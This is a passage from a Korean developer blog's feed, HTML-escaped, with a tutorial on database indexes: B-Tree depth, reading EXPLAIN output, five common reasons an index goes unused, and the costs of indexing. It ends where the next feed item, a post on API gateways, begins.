&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;FROM&lt;/span&gt; users &lt;span class=&quot;token keyword&quot;&gt;WHERE&lt;/span&gt; email &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;javapark@example.com&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;인덱스가 없으면 DB는 &lt;strong&gt;첫 행부터 끝까지 전부 읽어서 비교&lt;/strong&gt;합니다. 이걸 풀 테이블 스캔이라고 합니다.&lt;/p&gt;
&lt;p&gt;찾는 값이 999,999번째에 있으면 999,999번 비교합니다. 운 좋게 3번째에 있어도 &lt;strong&gt;DB는 멈추지 않습니다&lt;/strong&gt; — 이메일이 유일하다는 보장이 없으니 뒤에 또 있는지 끝까지 확인해야 합니다.&lt;/p&gt;
&lt;h2&gt;인덱스는 책 뒤의 &quot;찾아보기&quot;&lt;/h2&gt;
&lt;p&gt;인덱스는 책 뒤에 붙은 찾아보기와 같습니다. 본문을 처음부터 넘기는 대신, 가나다순으로 정렬된 목록에서 단어를 찾고 → 적힌 쪽수로 바로 넘어갑니다.&lt;/p&gt;
&lt;p&gt;DB도 똑같습니다. &lt;code class=&quot;language-text&quot;&gt;email&lt;/code&gt; 컬럼만 &lt;strong&gt;정렬해서 따로 저장&lt;/strong&gt;해 두고, 각 값에 &quot;실제 행이 어디 있는지&quot;를 붙여 둡니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;인덱스 없음&lt;/th&gt;
&lt;th&gt;인덱스 있음&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;방식&lt;/td&gt;
&lt;td&gt;100만 행 전부 비교&lt;/td&gt;
&lt;td&gt;정렬된 구조를 3~4번 타고 내려감&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;읽는 양&lt;/td&gt;
&lt;td&gt;테이블 전체&lt;/td&gt;
&lt;td&gt;필요한 몇 페이지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;100만 행 기준&lt;/td&gt;
&lt;td&gt;1,000,000회&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;약 3회&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;왜 하필 3~4번인가 — B-Tree&lt;/h2&gt;
&lt;p&gt;인덱스는 보통 &lt;strong&gt;B-Tree&lt;/strong&gt;(정확히는 B+Tree) 구조로 저장됩니다. 핵심은 &lt;strong&gt;한 노드가 자식을 아주 많이 갖는다&lt;/strong&gt;는 점입니다.&lt;/p&gt;
&lt;p&gt;이진 트리는 자식이 2개라 100만 건이면 20단계가 필요합니다. 하지만 B-Tree는 한 노드에 수백~수천 개의 키를 담습니다. 노드 하나가 자식을 1,000개 갖는다면:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1단계: 1,000개&lt;/li&gt;
&lt;li&gt;2단계: 1,000,000개&lt;/li&gt;
&lt;li&gt;3단계: 1,000,000,000개&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;3단계면 10억 건에 닿습니다.&lt;/strong&gt; 100만 행이든 1,000만 행이든 깊이가 거의 안 변합니다. 데이터가 10배로 늘어도 조회 비용은 그대로인 것, 이게 인덱스의 진짜 가치입니다.&lt;/p&gt;
&lt;p&gt;디스크는 페이지 단위로 읽기 때문에, 노드 하나가 페이지 하나에 딱 맞게 설계돼 있습니다. &lt;strong&gt;단계 수 = 디스크 읽기 횟수&lt;/strong&gt;라고 보면 됩니다.&lt;/p&gt;
&lt;h2&gt;실제로 확인하는 법 — EXPLAIN&lt;/h2&gt;
&lt;p&gt;추측하지 말고 실행 계획을 보면 됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;EXPLAIN&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;FROM&lt;/span&gt; users &lt;span class=&quot;token keyword&quot;&gt;WHERE&lt;/span&gt; email &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;javapark@example.com&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;type&lt;/th&gt;
&lt;th&gt;의미&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;ALL&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;풀 테이블 스캔 — &lt;strong&gt;인덱스를 안 타고 있음&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;index&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;인덱스 전체 스캔 (전부 읽음, 그나마 나음)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;range&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;범위 스캔 — 정상&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;ref&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;비고유 인덱스 일치 — 정상&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;const&lt;/code&gt; / &lt;code class=&quot;language-text&quot;&gt;eq_ref&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;유일 값 한 건 — 가장 빠름&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;type: ALL&lt;/code&gt;이 보이면 인덱스가 안 먹고 있는 겁니다. &lt;code class=&quot;language-text&quot;&gt;rows&lt;/code&gt; 값도 함께 보세요 — DB가 몇 행을 읽을 거라 예상하는지 나옵니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;인덱스를 만들어도 안 타는 5가지&lt;/h2&gt;
&lt;p&gt;여기가 실무에서 진짜 문제가 되는 지점입니다. &lt;strong&gt;전부 &quot;정렬을 활용할 수 없게 만들었다&quot;는 하나의 이유&lt;/strong&gt;로 설명됩니다.&lt;/p&gt;
&lt;p&gt;이 중 셋을 &lt;strong&gt;10초 퀴즈&lt;/strong&gt;로 만들었습니다. 네 쿼리 중 인덱스를 타는 하나를 고르는 문제인데, 오답이 하나씩 소거되면서 왜 안 타는지가 같이 정리됩니다. 답을 보기 전에 먼저 골라 보세요.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/shorts/h4b3E3GiGmQ&quot;&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 110.23255813953487%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAWCAIAAABPIytRAAAACXBIWXMAAAAAAAAAAAHqZRakAAAD5ElEQVR42kWTiXLiRhCGZYM0ujgE2OgW6D6RBOjiMBh7XQGv19duXJukypXdpCrv/wRpwW5S9WtqZtTfdE9PN2byzcykZgZKxvQqulhPBouAu5oMSqe1CnurkIMxt9lYwydKM1KagQTCQwUHEItU4mU9+FRx+1L+/lr8foh//eB9f82ft/r7Y/rn0+z9U3KXDTOjuXCZ0qIXDjM3yFRthjKO+VIzt5jSZrcxN9dRrJyVFlr7zCZk1z69iVpXAZvpzYVD7ZLeVdi5nV0u3FasNAHEDAHFJje1uGjUyvy+r1Lm5bnFn9n8WSA3AuU8UBqhWps6wrkjNuQO9rHq/vUkKv0Gtkm6f78Y3570b4/jf77Yv93xn7fc203vdcNlJoKrJhox0fCoFhGoyBLwKmAflgNPZbHCY++XvUPFHYr2vmAfV92nZfd103+56hc2OdNRbtGZxWQWPbOY1KwVaLQt046MMEtCm0xbJuLnQ/72sbzJR2/7+SbhK5/7chd+PcTXySA3ScjL/Ccfm+zEYHyNwuBbxBdV2F+nw810uI56HzJhFbSXfut2drFL+wuvVdh07d+kZyYNcGIwkc54JxhmsE4MamqQ8OZzA1Uuu/LZhUsvPHoJE48tHaawmbnNTC02NVlwHgDsSJAGMtLIeITSMZrpJDxYbqDCQpUNImCSmwg2Uw0Hg2RMRiMyVElXwjFHxMtgkNndudUu3U5mgc/uVchtwu52clTUXTjs0m2vo/5Up0KFCGTCk5EjEjU8d7ip2b6eCvtSPVTKLh2C6crvrIPO2u+svDbAUK2V257q5P+wRNRhA+9JxP1K/7oP/7iP7jIhVhqzEX7SVCNSjYjVY22rRKggTybck2d4dIjehSOEhic2AqkB1Z9oOFgDk6h4LSiVEYKkRBoC2D/yAGImT2ReL7XaEHzh9uZ2p/S6pdNZBr3KrcdV0INERCoChTJxIh0JmQKBGTwxc3qp2S6Di1U8XISDTSoWLpc7nbnFZk4ns9vQraGM4Kr+MWAI0xIJADFjSOg8bgr4w8Z+vvGedu77c7YMBw7fqK0l/CgiUJALpEScSHBbw/oQZnB7ZPINi4fWwS2+4R3Dgyw4YhM6CQR5gXLwlVquTNoSWcOmQJYRP/cG22J8WxnLWNhlozy8nLq9m0q/Lsa70oBxGYuhRoUj2h/RnsqALJGqYWiMRSzeX0/ur0MwfbidbPNRFlwetuEvVx5s7rf+eqZ44BlIDWD6P5iyZcZVaEMgTB63IY0ibsMzKpRR54KAJQga0NOYk08wdhTWBHg0RHCGI1GeQrtK/eMkR/6hn5uUI/+QLVGWRAH4LxzqsqFy3ZtDAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/27b518172152945b343a69ccf3fc7421/a1b3b/video-thumb-quiz.webp 215w,
/static/27b518172152945b343a69ccf3fc7421/fc700/video-thumb-quiz.webp 430w,
/static/27b518172152945b343a69ccf3fc7421/521f7/video-thumb-quiz.webp 860w,
/static/27b518172152945b343a69ccf3fc7421/d0742/video-thumb-quiz.webp 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/27b518172152945b343a69ccf3fc7421/f7886/video-thumb-quiz.png 215w,
/static/27b518172152945b343a69ccf3fc7421/bc750/video-thumb-quiz.png 430w,
/static/27b518172152945b343a69ccf3fc7421/3e3fe/video-thumb-quiz.png 860w,
/static/27b518172152945b343a69ccf3fc7421/e7448/video-thumb-quiz.png 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/27b518172152945b343a69ccf3fc7421/3e3fe/video-thumb-quiz.png&apos; alt=&apos;인덱스 10초 퀴즈 — 네 쿼리 중 인덱스를 타는 하나를 고르는 문제, 오답이 이유와 함께 소거되는 화면&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;인덱스 10초 퀴즈 — 네 쿼리 중 인덱스를 타는 하나를 고르는 문제, 오답이 이유와 함께 소거되는 화면&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;1. 컬럼에 함수를 씌웠을 때&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;-- ❌ 인덱스 못 탐&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;FROM&lt;/span&gt; orders &lt;span class=&quot;token keyword&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;YEAR&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;created_at&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2026&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;-- ✅ 범위로 바꾸면 탐&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;FROM&lt;/span&gt; orders
&lt;span class=&quot;token keyword&quot;&gt;WHERE&lt;/span&gt; created_at &lt;span class=&quot;token operator&quot;&gt;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;2026-01-01&apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;AND&lt;/span&gt; created_at &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;2027-01-01&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;인덱스는 &lt;code class=&quot;language-text&quot;&gt;created_at&lt;/code&gt; &lt;strong&gt;원본 값&lt;/strong&gt;을 정렬해 둔 것입니다. &lt;code class=&quot;language-text&quot;&gt;YEAR()&lt;/code&gt;를 씌운 결과는 정렬돼 있지 않으니, 모든 행에 함수를 적용해봐야 알 수 있습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;MySQL 8.0.13+ 와 PostgreSQL은 &lt;strong&gt;함수 기반 인덱스&lt;/strong&gt;를 지원해서 &lt;code class=&quot;language-text&quot;&gt;YEAR(created_at)&lt;/code&gt; 자체에 인덱스를 걸 수도 있습니다. 다만 기본 인덱스로는 안 탄다는 원칙은 같습니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;2. LIKE 앞에 와일드카드가 있을 때&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;FROM&lt;/span&gt; users &lt;span class=&quot;token keyword&quot;&gt;WHERE&lt;/span&gt; name &lt;span class=&quot;token operator&quot;&gt;LIKE&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;김%&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;-- ✅ 탐&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;FROM&lt;/span&gt; users &lt;span class=&quot;token keyword&quot;&gt;WHERE&lt;/span&gt; name &lt;span class=&quot;token operator&quot;&gt;LIKE&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;%park&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;-- ❌ 못 탐&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;사전에서 &quot;김&quot;으로 시작하는 단어는 바로 찾지만, &quot;park으로 끝나는 단어&quot;는 전부 뒤져야 하는 것과 같습니다. 뒷부분 검색이 필요하면 &lt;strong&gt;전문 검색(Full-Text)&lt;/strong&gt; 이나 별도 검색 엔진을 씁니다.&lt;/p&gt;
&lt;h3&gt;3. 카디널리티가 낮을 때&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;gender&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;is_deleted&lt;/code&gt;처럼 값 종류가 두세 개뿐인 컬럼은 인덱스를 걸어도 안 씁니다. 절반을 걸러내려고 인덱스를 거쳐 다시 테이블을 찾아가느니 &lt;strong&gt;그냥 전부 읽는 게 빠르다&lt;/strong&gt;고 옵티마이저가 판단합니다.&lt;/p&gt;
&lt;p&gt;인덱스는 &lt;strong&gt;선택도가 높은 컬럼&lt;/strong&gt;(값이 다양한 컬럼)에 걸어야 의미가 있습니다.&lt;/p&gt;
&lt;h3&gt;4. 복합 인덱스의 왼쪽부터 안 썼을 때&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;-- INDEX (user_id, status, created_at) 가 있을 때&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;WHERE&lt;/span&gt; user_id &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;                          &lt;span class=&quot;token comment&quot;&gt;-- ✅&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;WHERE&lt;/span&gt; user_id &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;AND&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;status&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;paid&apos;&lt;/span&gt;      &lt;span class=&quot;token comment&quot;&gt;-- ✅&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;status&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;paid&apos;&lt;/span&gt;                      &lt;span class=&quot;token comment&quot;&gt;-- ❌ user_id 를 건너뜀&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;복합 인덱스는 &lt;code class=&quot;language-text&quot;&gt;user_id&lt;/code&gt;로 먼저 정렬하고, 같은 값 안에서 &lt;code class=&quot;language-text&quot;&gt;status&lt;/code&gt;로 정렬합니다. 전화번호부가 성 → 이름 순인 것과 같아서, &lt;strong&gt;성을 모르고 이름만으로는 찾을 수 없습니다.&lt;/strong&gt; 이걸 왼쪽 접두사(leftmost prefix) 규칙이라고 합니다.&lt;/p&gt;
&lt;h3&gt;5. 타입이 안 맞을 때&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;-- phone 이 VARCHAR 인데 숫자로 비교&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;FROM&lt;/span&gt; users &lt;span class=&quot;token keyword&quot;&gt;WHERE&lt;/span&gt; phone &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;01012345678&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;-- ❌ 암묵적 형변환&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;FROM&lt;/span&gt; users &lt;span class=&quot;token keyword&quot;&gt;WHERE&lt;/span&gt; phone &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;01012345678&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;-- ✅&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;타입이 다르면 DB가 컬럼 쪽을 변환하는데, 이건 결국 1번(함수 적용)과 같은 상황이 됩니다. 조용히 느려지기 때문에 찾기가 가장 어려운 유형입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;인덱스는 공짜가 아니다&lt;/h2&gt;
&lt;p&gt;조회만 보면 무조건 이득이니 다 걸고 싶어집니다. 그런데 비용이 있습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;비용&lt;/th&gt;
&lt;th&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;쓰기 성능&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;INSERT·UPDATE·DELETE 때마다 인덱스도 같이 갱신&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;저장 공간&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;인덱스는 별도 저장 구조 — 테이블만큼 커지기도 함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;옵티마이저 부담&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;후보가 많아지면 계획 수립이 느려지고 엉뚱한 걸 고르기도 함&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;인덱스가 10개인 테이블은 INSERT 한 번에 &lt;strong&gt;11군데를 갱신&lt;/strong&gt;합니다. 쓰기가 많은 테이블에 인덱스를 남발하면 조회를 얻고 쓰기를 잃습니다.&lt;/p&gt;
&lt;h3&gt;그래서 언제 만드나&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;WHERE&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;JOIN&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;ORDER BY&lt;/code&gt;에 &lt;strong&gt;자주&lt;/strong&gt; 등장하는 컬럼&lt;/li&gt;
&lt;li&gt;값이 다양한 컬럼 (선택도 높음)&lt;/li&gt;
&lt;li&gt;실제로 느린 쿼리가 확인된 다음에 — &lt;strong&gt;미리 깔지 않습니다&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;느린 쿼리 로그로 문제를 특정하고 → &lt;code class=&quot;language-text&quot;&gt;EXPLAIN&lt;/code&gt;으로 원인을 보고 → 인덱스를 만들고 → 다시 &lt;code class=&quot;language-text&quot;&gt;EXPLAIN&lt;/code&gt;으로 확인하는 순서가 정석입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q. 인덱스를 걸었는데 &lt;code class=&quot;language-text&quot;&gt;EXPLAIN&lt;/code&gt;에 여전히 &lt;code class=&quot;language-text&quot;&gt;ALL&lt;/code&gt;이 나옵니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;위 5가지를 먼저 확인하세요. 특히 &lt;strong&gt;함수 적용&lt;/strong&gt;과 &lt;strong&gt;타입 불일치&lt;/strong&gt;가 흔합니다. 그다음으로는 테이블이 너무 작은 경우입니다 — 수백 행짜리 테이블은 인덱스를 거치는 것보다 통째로 읽는 게 빨라서 옵티마이저가 일부러 무시합니다. 정상 동작입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. 복합 인덱스 여러 개 vs 단일 인덱스 여러 개, 뭐가 낫나요?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;함께 쓰이는 조건이면 &lt;strong&gt;복합 인덱스 하나&lt;/strong&gt;가 낫습니다. &lt;code class=&quot;language-text&quot;&gt;(user_id, status)&lt;/code&gt; 복합 인덱스는 &lt;code class=&quot;language-text&quot;&gt;user_id&lt;/code&gt; 단독 조회도 커버하므로, &lt;code class=&quot;language-text&quot;&gt;user_id&lt;/code&gt; 단일 인덱스를 따로 둘 필요가 없습니다. 컬럼 순서는 &lt;strong&gt;선택도가 높은 것을 앞에&lt;/strong&gt; 두는 게 기본입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. PK에는 인덱스를 따로 안 걸어도 되나요?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;네. Primary Key에는 자동으로 인덱스가 생깁니다. MySQL InnoDB는 PK를 기준으로 데이터 자체를 정렬해 저장하는데(클러스터형 인덱스), 그래서 PK 조회가 가장 빠릅니다. 반대로 &lt;strong&gt;PK를 UUID처럼 무작위 값으로 잡으면&lt;/strong&gt; 삽입 위치가 매번 흩어져 쓰기 성능이 떨어집니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;정리&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;인덱스는 &lt;strong&gt;정렬된 사본&lt;/strong&gt;이고, B-Tree라서 데이터가 늘어도 깊이가 거의 안 변합니다&lt;/li&gt;
&lt;li&gt;100만 행에서 1,000,000회 비교가 &lt;strong&gt;3회 남짓&lt;/strong&gt;으로 줄어듭니다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;정렬을 못 쓰게 만들면 안 탑니다&lt;/strong&gt; — 함수, 앞 와일드카드, 낮은 카디널리티, 왼쪽 접두사 위반, 타입 불일치&lt;/li&gt;
&lt;li&gt;조회를 얻고 쓰기를 내주는 거래입니다. 느린 쿼리를 확인한 다음에 만드세요&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;인덱스를 걸었는데 안 빨라졌던 경험, 원인이 뭐였나요? 댓글로 공유해 주세요.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;참고 자료&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://dev.mysql.com/doc/refman/8.0/en/optimization-indexes.html&quot;&gt;MySQL — Optimization and Indexes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.postgresql.org/docs/current/indexes.html&quot;&gt;PostgreSQL — Indexes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://dev.mysql.com/doc/refman/8.0/en/explain-output.html&quot;&gt;MySQL — EXPLAIN Output Format&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[API 게이트웨이란? 요청이 지나는 5개의 관문과 도입 판단 기준]]></title><description><![CDATA[…]]></description><link>https://blog.javapark.kr/api-gateway-guide/</link><guid isPermaLink="false">https://blog.javapark.kr/api-gateway-guide/</guid><pubDate>Sat, 15 Aug 2026 10:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/953daef2c6de64fae4e786ff5345bd06/64756/thumbnail.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
